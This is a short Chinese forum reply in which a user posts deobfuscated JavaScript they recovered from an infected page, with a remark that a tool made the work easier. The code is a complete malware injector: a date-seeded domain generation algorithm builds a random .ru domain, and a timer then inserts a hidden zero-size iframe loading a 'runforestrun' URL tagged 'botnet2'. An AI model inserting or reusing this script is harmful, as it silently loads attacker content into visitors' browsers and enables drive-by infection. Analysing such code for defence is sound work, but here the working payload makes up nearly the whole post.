哀酱俏佳人 发表于 2013-4-15 14:16
你上面这个,怎么出来的,我只能搞出这个……- function nextRandomNumber(){
- var hi = this.seed / this.Q;
- var lo = this.seed % this.Q;
- var test = this.A * lo - this.R * hi;
- if(test > 0){
- this.seed = test;
- } else {
- this.seed = test + this.M;
- }
- return (this.seed * this.oneOverM);
- }
- function RandomNumberGenerator(unix){
- var d = new Date(unix*1000);
- var s = d.getHours() > 12 ? 1 : 0;
- this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF));
- this.A = 48271;
- this.M = 2147483647;
- this.Q = this.M / this.A;
- this.R = this.M % this.A;
- this.oneOverM = 1.0 / this.M;
- this.next = nextRandomNumber;
- return this;
- }
- function createRandomNumber(r, Min, Max){
- return Math.round((Max-Min) * r.next() + Min);
- }
- function generatePseudoRandomString(unix, length, zone){
- var rand = new RandomNumberGenerator(unix);
- var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
- var str = '';
- for(var i = 0; i < length; i ++ ){
- str += letters[createRandomNumber(rand, 0, letters.length - 1)];
- }
- return str + '.' + zone;
- }
- setTimeout(function(){
- try{
- if(typeof iframeWasCreated == "undefined"){
- iframeWasCreated = true;
- var unix = Math.round(+new Date()/1000);
- var domainName = generatePseudoRandomString(unix, 16, 'ru');
- ifrm = document.createElement("IFRAME");
- ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=botnet2");
- ifrm.style.width = "0px";
- ifrm.style.height = "0px";
- ifrm.style.visibility = "hidden";
- document.body.appendChild(ifrm);
- }
- }catch(e){}
- }, 500);
复制代码 只能说 多亏了promised,否则还不累死…… |